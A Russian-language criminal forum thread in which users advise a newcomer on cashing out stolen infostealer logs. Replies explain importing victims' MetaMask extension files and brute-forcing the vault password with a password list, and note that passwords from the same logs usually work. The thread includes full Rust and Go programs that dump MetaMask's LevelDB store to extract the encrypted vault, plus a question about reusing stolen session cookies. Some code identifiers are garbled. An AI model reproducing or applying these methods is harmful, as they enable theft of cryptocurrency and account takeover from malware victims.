What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Metamask файлы

Unseen

Midle Weight
Депозит
$0
Доброго времени суток Форумчане! У меня возник вопрос связанный с кошельком Metamask. Я в этом деле совсем зеленый. На днях мне прилетели логи со стиллела. В логах имеется пароли, куки, история, и папка с названием Yandex Default Metamask и в нем же куча файлов. Подумал а вообще с этих логов есть ли польза?

И хотелось бы немного узнать об куки. Вроде с помощью них можно авторизоваться на сайте без ввода логин пасс? Как это возможно реализовать? Благодарю всех!
 
Unseen сказал(а):
Доброго времени суток Форумчане! У меня возник вопрос связанный с кошельком Metamask. Я в этом деле совсем зеленый. На днях мне прилетели логи со стиллела. В логах имеется пароли, куки, история, и папка с названием Yandex Default Metamask и в нем же куча файлов. Подумал а вообще с этих логов есть ли польза?

И хотелось бы немного узнать об куки. Вроде с помощью них можно авторизоваться на сайте без ввода логин пасс? Как это возможно реализовать? Благодарю всех!

Посмотреть вложение 70518Посмотреть вложение 70519
Пожалуйста, обратите внимание, что пользователь заблокирован

подкинь эти файлы к себе в мету, и просто подбирай пароль с пасс листа,не давай никому,наебут еще)
 
Unseen сказал(а):
Доброго времени суток Форумчане! У меня возник вопрос связанный с кошельком Metamask. Я в этом деле совсем зеленый. На днях мне прилетели логи со стиллела. В логах имеется пароли, куки, история, и папка с названием Yandex Default Metamask и в нем же куча файлов. Подумал а вообще с этих логов есть ли польза?

И хотелось бы немного узнать об куки. Вроде с помощью них можно авторизоваться на сайте без ввода логин пасс? Как это возможно реализовать? Благодарю всех!

Посмотреть вложение 70518Посмотреть вложение 70519

Скрытый контент для пользователей: Unseen.

Ну это для начала)
 
ldb при нужном орбращении тут же отдаст приваткей без переборов, все есть в гугле
 
fantaser сказал(а):
ldb при нужном орбращении тут же отдаст приваткей без переборов, все есть в гугле
Пожалуйста, обратите внимание, что пользователь заблокирован

То есть без пароля можно сразу получить доступ к кейстору? Можно ссылку?
 
fantaser сказал(а):
ldb при нужном орбращении тут же отдаст приваткей без переборов, все есть в гугле
Пожалуйста, обратите внимание, что пользователь заблокирован

подробнее господин,интересная информация)
 
Code сказал(а):
То есть без пароля можно сразу получить доступ к кейстору? Можно ссылку?
gotolearnpls сказал(а):
подробнее господин,интересная информация)


Vault храниться в зашифрованном виде, получить его можно так:
Код:
Скопировать в буфер обмена
/*

add here to dependencies in Cargo.toml
rusty-leveldb = "3.0.0"
serde_json = { version = "1" }
encoding = "0.2.0"
clap = { version = "4.0.0", features = ["derive"] }
build:
cargo build --release
usage:
chrome_ext -p "/some/path/to/ext" -o "ext_name.json"
*/


use clap::parser;
use encoding::{all::UTF_16LE, DecoderTrap, Encoding};
use rusty_leveldb::{LdbIterator, Options, DB};
use std::collections::HashMap;
use std::fs;
use std::path::pathBuf;
pub fn decode_str(buf: &[u8]) -> String {
if buf.is_empty() {
return String::new();
}
let prefix = buf[0];
if prefix == 0 {
let decoded = UTF_16LE.decode(&buf[1..], DecoderTrap::Replace);
match decoded {
Ok(v) => v,
Err(v) => v.to_string(),
}
} else if prefix == 1 {
String::from_utf8_lossy(&buf[1..]).to_string()
} else {
String::from_utf8_lossy(buf).to_string()
}
}
#[derive(Parser, Debug)]
struct Args {
/// LevelDB path (C:\some\path\nkbihfbeogaeaoehlefnkodbefgpgknn)
#[arg(short, long)]
path: PathBuf,
/// Output filename (metamask.json)
#[arg(short, long)]
out_file: Option<String>,
}
fn main() {
let args = Args::parse();
let file = if let Some(v) = args.out_file {
v
} else {
format!(
"{}.json",
args.path
.components()
.last()
.unwrap()
.as_os_str()
.to_string_lossy()
)
};
let opt = Options::default();
let mut db = DB::eek:pen(&args.path, opt).expect("open ldb failed");
let mut iter = db.new_iter().expect("new ldb iterator failed");
let (mut k, mut v) = (vec![], vec![]);
let mut values = HashMap::new();
while iter.advance() {
iter.current(&mut k, &mut v);
let k = String::from_utf8_lossy(&k).to_string();
let value_obj = decode_str(&v);
let v: serde_json::Value =
serde_json::from_str(&value_obj).expect("deserialize json failed");
if let Some(vault) = v.get("KeyringController").and_then(|v| {
v.as_object()
.and_then(|v| v.get("vault").and_then(|v| v.as_str()))
}) {
println!("{:?} vault = {:?}", file, vault);
}
values.insert(k, v);
}
let buf = serde_json::to_vec_pretty(&values).expect("serialize obj failed");
fs::write(&file, buf).unwrap_or_else(|e| panic!("write data to file {} failed: {}", &file, e));
println!("extensions processed success, result in {:?} file", file);
}
В результате получаем vault (выводится в консоль) ну и все данные расширения в формат json. Сам vault дальше только брутить.
 
Еще такой момент. А давно вообще поменялся формат файлов у метамаска?

Недавно наткнулся на метамаск файлы *.log пустые vault нету. Но при импорте всех файлов в свой браузер, просит пароль и после перебора успешно логинется. В чем прикол знает кто?
 
4z4rt сказал(а):
Еще такой момент. А давно вообще поменялся формат файлов у метамаска?

Недавно наткнулся на метамаск файлы *.log пустые vault нету. Но при импорте всех файлов в свой браузер, просит пароль и после перебора успешно логинется. В чем прикол знает кто?

Не припомню чтобы он когда-либо менялся. Попробуй мою реализацию выше.
 
LevelDB — дисковое хранилище пар "ключ-значение" с открытым исходным кодом.

Открывается различным софтом, например LevelDataStudio.

Либо максимально простым куском кода на go:
Код:
Скопировать в буфер обмена
package main

import (
"fmt"
"log"
"os"
"github.com/syndtr/goleveldb/leveldb"
)

func main() {

arg := os.Args[1]

db, err := leveldb.OpenFile(arg, nil)
if err != nil {
log.Fatal("OpenError")
}

iter := db.NewIterator(nil, nil)
for iter.Next() {
key := iter.Key()
value := iter.Value()
fmt.Println(string(key))
fmt.Println(string(value))
}
iter.Release()
err = iter.Error()
defer db.Close()

}

Использование:
program.exe "путь к папке leveldb"

Vault находится в json['KeyringController']['vault']
 
fantaser сказал(а):
ldb пароль подобрать надо будет, но вся прелесть то можно скрипт скачать и локально его дрючить. 95% из тех же логов пасс подходит. пруф https://support.metamask.io/hc/en-u...51-How-to-recover-your-Secret-Recovery-Phrase

Ага , только по интересной инфе большинство стилаков теперь особенно бесплатных или крякнутых почему то перестают отрабатывать на тачке когда есть мета с балансом и есть пасс от неё( ну лог уходит но не тебе ) а так сейчас все умные стали , трезоры и леджеры на вкусных кошельках почти всегда ) да и брут никто не отменял)
 
reqwest сказал(а):
Vault храниться в зашифрованном виде, получить его можно так:
Код:
Скопировать в буфер обмена
/*

add here to dependencies in Cargo.toml
rusty-leveldb = "3.0.0"
serde_json = { version = "1" }
encoding = "0.2.0"
clap = { version = "4.0.0", features = ["derive"] }
build:
cargo build --release
usage:
chrome_ext -p "/some/path/to/ext" -o "ext_name.json"
*/


use clap::parser;
use encoding::{all::UTF_16LE, DecoderTrap, Encoding};
use rusty_leveldb::{LdbIterator, Options, DB};
use std::collections::HashMap;
use std::fs;
use std::path::pathBuf;
pub fn decode_str(buf: &[u8]) -> String {
if buf.is_empty() {
return String::new();
}
let prefix = buf[0];
if prefix == 0 {
let decoded = UTF_16LE.decode(&buf[1..], DecoderTrap::Replace);
match decoded {
Ok(v) => v,
Err(v) => v.to_string(),
}
} else if prefix == 1 {
String::from_utf8_lossy(&buf[1..]).to_string()
} else {
String::from_utf8_lossy(buf).to_string()
}
}
#[derive(Parser, Debug)]
struct Args {
/// LevelDB path (C:\some\path\nkbihfbeogaeaoehlefnkodbefgpgknn)
#[arg(short, long)]
path: PathBuf,
/// Output filename (metamask.json)
#[arg(short, long)]
out_file: Option<String>,
}
fn main() {
let args = Args::parse();
let file = if let Some(v) = args.out_file {
v
} else {
format!(
"{}.json",
args.path
.components()
.last()
.unwrap()
.as_os_str()
.to_string_lossy()
)
};
let opt = Options::default();
let mut db = DB::eek:pen(&args.path, opt).expect("open ldb failed");
let mut iter = db.new_iter().expect("new ldb iterator failed");
let (mut k, mut v) = (vec![], vec![]);
let mut values = HashMap::new();
while iter.advance() {
iter.current(&mut k, &mut v);
let k = String::from_utf8_lossy(&k).to_string();
let value_obj = decode_str(&v);
let v: serde_json::Value =
serde_json::from_str(&value_obj).expect("deserialize json failed");
if let Some(vault) = v.get("KeyringController").and_then(|v| {
v.as_object()
.and_then(|v| v.get("vault").and_then(|v| v.as_str()))
}) {
println!("{:?} vault = {:?}", file, vault);
}
values.insert(k, v);
}
let buf = serde_json::to_vec_pretty(&values).expect("serialize obj failed");
fs::write(&file, buf).unwrap_or_else(|e| panic!("write data to file {} failed: {}", &file, e));
println!("extensions processed success, result in {:?} file", file);
}
В результате получаем vault (выводится в консоль) ну и все данные расширения в формат json. Сам vault дальше только брутить.
Нажмите, чтобы раскрыть...
Пожалуйста, обратите внимание, что пользователь заблокирован

Та это понятно, ничего нового тут нет. Но человек же написал что можно получить приватник без подбора.
 
Code сказал(а):
Та это понятно, ничего нового тут нет. Но человек же написал что можно получить приватник без подбора.

Человек ерунду написал же)
 
Да, не так немного выразился. ТС озвучил что есть логи, соответственно имея логи 95% успеха - что пасс из них подойдет.
 
Top